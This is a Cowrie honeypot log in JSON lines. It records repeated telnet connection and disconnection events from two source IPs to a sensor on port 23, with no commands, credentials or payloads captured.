{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90e5de4ccb2","protocol":"telnet","message":"New connection: 208.115.200.90:44894 (10.17.0.5:23) [session: c90e5de4ccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.215122Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a89684e0f58","protocol":"telnet","message":"New connection: 208.115.200.90:45654 (10.17.0.5:23) [session: 8a89684e0f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.265020Z"}
{"eventid":"cowrie.session.closed","duration":30.37943720817566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.325935Z","src_ip":"208.115.200.90","session":"62beddac3c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869311571121216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.345259Z","src_ip":"208.115.200.90","session":"d0c233438c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99291157722473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.350690Z","src_ip":"208.115.200.90","session":"87b2f9eb0488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"99447d96c664","protocol":"telnet","message":"New connection: 208.115.200.90:45670 (10.17.0.5:23) [session: 99447d96c664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.434616Z"}
{"eventid":"cowrie.session.closed","duration":31.092665910720825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.441411Z","src_ip":"208.115.219.122","session":"024c98fb34f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45676,"dst_ip":"10.17.0.5","dst_port":23,"session":"a40997fc63fd","protocol":"telnet","message":"New connection: 208.115.200.90:45676 (10.17.0.5:23) [session: a40997fc63fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.530252Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"887c42e08acc","protocol":"telnet","message":"New connection: 208.115.200.90:45526 (10.17.0.5:23) [session: 887c42e08acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.667013Z"}
{"eventid":"cowrie.session.closed","duration":31.640376091003418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.869879Z","src_ip":"208.115.200.90","session":"ee2e1fd9f4f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45694,"dst_ip":"10.17.0.5","dst_port":23,"session":"670b33c21123","protocol":"telnet","message":"New connection: 208.115.200.90:45694 (10.17.0.5:23) [session: 670b33c21123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:38.937598Z"}
{"eventid":"cowrie.session.closed","duration":30.968242168426514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.022702Z","src_ip":"208.115.219.122","session":"1c89146ee3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822349548339844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.093685Z","src_ip":"208.115.219.122","session":"d4ea33ced88d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a56efeb16f","protocol":"telnet","message":"New connection: 208.115.200.90:45726 (10.17.0.5:23) [session: 59a56efeb16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.107836Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45742,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a95736c796","protocol":"telnet","message":"New connection: 208.115.200.90:45742 (10.17.0.5:23) [session: 75a95736c796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.114280Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31cfbec0396","protocol":"telnet","message":"New connection: 208.115.200.90:45748 (10.17.0.5:23) [session: a31cfbec0396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.155279Z"}
{"eventid":"cowrie.session.closed","duration":30.97334885597229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.264402Z","src_ip":"208.115.200.90","session":"f68373ed702c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45072,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc657b6a8f44","protocol":"telnet","message":"New connection: 208.115.200.90:45072 (10.17.0.5:23) [session: cc657b6a8f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.369449Z"}
{"eventid":"cowrie.session.closed","duration":31.26427912712097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.432691Z","src_ip":"208.115.200.90","session":"b855014c7f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4044710a3a","protocol":"telnet","message":"New connection: 208.115.219.122:40476 (10.17.0.5:23) [session: ff4044710a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.446107Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45220,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfcf4e9bdb5c","protocol":"telnet","message":"New connection: 208.115.200.90:45220 (10.17.0.5:23) [session: dfcf4e9bdb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.625820Z"}
{"eventid":"cowrie.session.closed","duration":30.919714212417603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:39.886405Z","src_ip":"208.115.200.90","session":"eb763918fb49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18865990638733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.012599Z","src_ip":"208.115.219.122","session":"5a097ab65f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897834539413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.078652Z","src_ip":"208.115.200.90","session":"9b92ada1edce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818312168121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.243177Z","src_ip":"208.115.200.90","session":"54e94b6b0e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791974544525146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.303280Z","src_ip":"208.115.200.90","session":"8b3c1c53152f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba487050807","protocol":"telnet","message":"New connection: 208.115.219.122:40498 (10.17.0.5:23) [session: aba487050807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.317318Z"}
{"eventid":"cowrie.session.closed","duration":31.206353664398193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.412224Z","src_ip":"208.115.200.90","session":"197f48fa3a4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45778,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d5bdc218277","protocol":"telnet","message":"New connection: 208.115.200.90:45778 (10.17.0.5:23) [session: 7d5bdc218277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.484490Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ae8a1f76ef","protocol":"telnet","message":"New connection: 208.115.200.90:45802 (10.17.0.5:23) [session: 25ae8a1f76ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:40.925442Z"}
{"eventid":"cowrie.session.closed","duration":30.99000835418701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.048218Z","src_ip":"208.115.219.122","session":"71fb76fce119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899786949157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.147346Z","src_ip":"208.115.200.90","session":"0523b15e1556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948355436325073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.189601Z","src_ip":"208.115.200.90","session":"9bf764c05f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807183504104614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.198710Z","src_ip":"208.115.200.90","session":"9defcbf42743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92350673675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.228487Z","src_ip":"208.115.200.90","session":"e4a8c16bb9aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45820,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c2f211cf96","protocol":"telnet","message":"New connection: 208.115.200.90:45820 (10.17.0.5:23) [session: 87c2f211cf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.234592Z"}
{"eventid":"cowrie.session.closed","duration":30.8519504070282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.298129Z","src_ip":"208.115.200.90","session":"c0b6ba8ed965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254077196121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.421705Z","src_ip":"208.115.200.90","session":"caddf2e313ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45658,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be83882d6b9","protocol":"telnet","message":"New connection: 208.115.200.90:45658 (10.17.0.5:23) [session: 8be83882d6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.486502Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da092024e6b","protocol":"telnet","message":"New connection: 208.115.219.122:40508 (10.17.0.5:23) [session: 8da092024e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:41.572114Z"}
{"eventid":"cowrie.session.closed","duration":30.48330545425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.056910Z","src_ip":"208.115.200.90","session":"25a1263e0ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"361dcad8ac0f","protocol":"telnet","message":"New connection: 208.115.219.122:40564 (10.17.0.5:23) [session: 361dcad8ac0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.084133Z"}
{"eventid":"cowrie.session.closed","duration":30.276642560958862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.124265Z","src_ip":"208.115.219.122","session":"ba7916194b47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972256898880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.207064Z","src_ip":"208.115.200.90","session":"a04249518596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94949960708618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.226182Z","src_ip":"208.115.200.90","session":"d9fec936935a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d370d01a0bc","protocol":"telnet","message":"New connection: 208.115.219.122:40576 (10.17.0.5:23) [session: 1d370d01a0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.333916Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40578,"dst_ip":"10.17.0.5","dst_port":23,"session":"713f382bdc7a","protocol":"telnet","message":"New connection: 208.115.219.122:40578 (10.17.0.5:23) [session: 713f382bdc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.341199Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45912,"dst_ip":"10.17.0.5","dst_port":23,"session":"307bdb5ef106","protocol":"telnet","message":"New connection: 208.115.200.90:45912 (10.17.0.5:23) [session: 307bdb5ef106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.485867Z"}
{"eventid":"cowrie.session.closed","duration":31.375507831573486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.519974Z","src_ip":"208.115.200.90","session":"c3cdb8ea7417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45958,"dst_ip":"10.17.0.5","dst_port":23,"session":"03662b08bee9","protocol":"telnet","message":"New connection: 208.115.200.90:45958 (10.17.0.5:23) [session: 03662b08bee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.586749Z"}
{"eventid":"cowrie.session.closed","duration":31.511038064956665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:42.824994Z","src_ip":"208.115.200.90","session":"01d745932083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46096,"dst_ip":"10.17.0.5","dst_port":23,"session":"88db6a2346bd","protocol":"telnet","message":"New connection: 208.115.200.90:46096 (10.17.0.5:23) [session: 88db6a2346bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.025057Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46098,"dst_ip":"10.17.0.5","dst_port":23,"session":"1442f0bd996d","protocol":"telnet","message":"New connection: 208.115.200.90:46098 (10.17.0.5:23) [session: 1442f0bd996d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.101144Z"}
{"eventid":"cowrie.session.closed","duration":30.903116703033447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.108528Z","src_ip":"208.115.200.90","session":"b49bb90d3c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2ba9b5f7a6","protocol":"telnet","message":"New connection: 208.115.200.90:46112 (10.17.0.5:23) [session: 0c2ba9b5f7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.124537Z"}
{"eventid":"cowrie.session.closed","duration":30.9988956451416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.138923Z","src_ip":"208.115.219.122","session":"bc3eccf19dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40628,"dst_ip":"10.17.0.5","dst_port":23,"session":"1851a0bc9f03","protocol":"telnet","message":"New connection: 208.115.219.122:40628 (10.17.0.5:23) [session: 1851a0bc9f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.174246Z"}
{"eventid":"cowrie.session.closed","duration":30.931933164596558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.211156Z","src_ip":"208.115.219.122","session":"fbb45f8d063c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261530876159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.309551Z","src_ip":"208.115.219.122","session":"fe31fe6c58d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8dd4ff30593","protocol":"telnet","message":"New connection: 208.115.200.90:46132 (10.17.0.5:23) [session: b8dd4ff30593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.315559Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5ab4bdd77cb","protocol":"telnet","message":"New connection: 208.115.200.90:46164 (10.17.0.5:23) [session: e5ab4bdd77cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.402761Z"}
{"eventid":"cowrie.session.closed","duration":30.96073317527771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.587312Z","src_ip":"208.115.200.90","session":"696b14938614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33109760284424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:43.715507Z","src_ip":"208.115.219.122","session":"ed89fbf7c17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019638538360596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.043272Z","src_ip":"208.115.200.90","session":"ff605a9ec1a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95186734199524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.059322Z","src_ip":"208.115.200.90","session":"94ec9089aaf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834618091583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.107243Z","src_ip":"208.115.219.122","session":"fa1733e93a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dc35186418","protocol":"telnet","message":"New connection: 208.115.200.90:46268 (10.17.0.5:23) [session: f6dc35186418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.117937Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c816c282267","protocol":"telnet","message":"New connection: 208.115.200.90:46278 (10.17.0.5:23) [session: 2c816c282267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.245500Z"}
{"eventid":"cowrie.session.closed","duration":31.165606260299683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.261824Z","src_ip":"208.115.200.90","session":"0d0b350c9a86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418360948562622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.379421Z","src_ip":"208.115.200.90","session":"371bad7400da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4dc438406e0","protocol":"telnet","message":"New connection: 208.115.200.90:60150 (10.17.0.5:23) [session: a4dc438406e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.493785Z"}
{"eventid":"cowrie.session.closed","duration":31.543753147125244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.746111Z","src_ip":"208.115.200.90","session":"a6b235ef8f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.335229635238647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.856808Z","src_ip":"208.115.200.90","session":"14be7a3f865a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3dfb9d07e88","protocol":"telnet","message":"New connection: 208.115.219.122:40644 (10.17.0.5:23) [session: d3dfb9d07e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:44.879478Z"}
{"eventid":"cowrie.session.closed","duration":30.90084743499756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.019521Z","src_ip":"208.115.219.122","session":"5800640feaf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93137001991272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.063877Z","src_ip":"208.115.219.122","session":"0e239d025629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d5668e35af","protocol":"telnet","message":"New connection: 208.115.219.122:40652 (10.17.0.5:23) [session: 71d5668e35af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.069694Z"}
{"eventid":"cowrie.session.closed","duration":30.53254985809326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.101977Z","src_ip":"208.115.219.122","session":"c74e09f9bfb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60304,"dst_ip":"10.17.0.5","dst_port":23,"session":"320ec05c76c4","protocol":"telnet","message":"New connection: 208.115.200.90:60304 (10.17.0.5:23) [session: 320ec05c76c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.159467Z"}
{"eventid":"cowrie.session.closed","duration":30.962263107299805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.164994Z","src_ip":"208.115.200.90","session":"8700dd23a878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530887126922607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.234168Z","src_ip":"208.115.200.90","session":"210c1ce04f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816524028778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.255337Z","src_ip":"208.115.200.90","session":"8df7d4cdf43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89fd7592d99","protocol":"telnet","message":"New connection: 208.115.200.90:60328 (10.17.0.5:23) [session: f89fd7592d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.320939Z"}
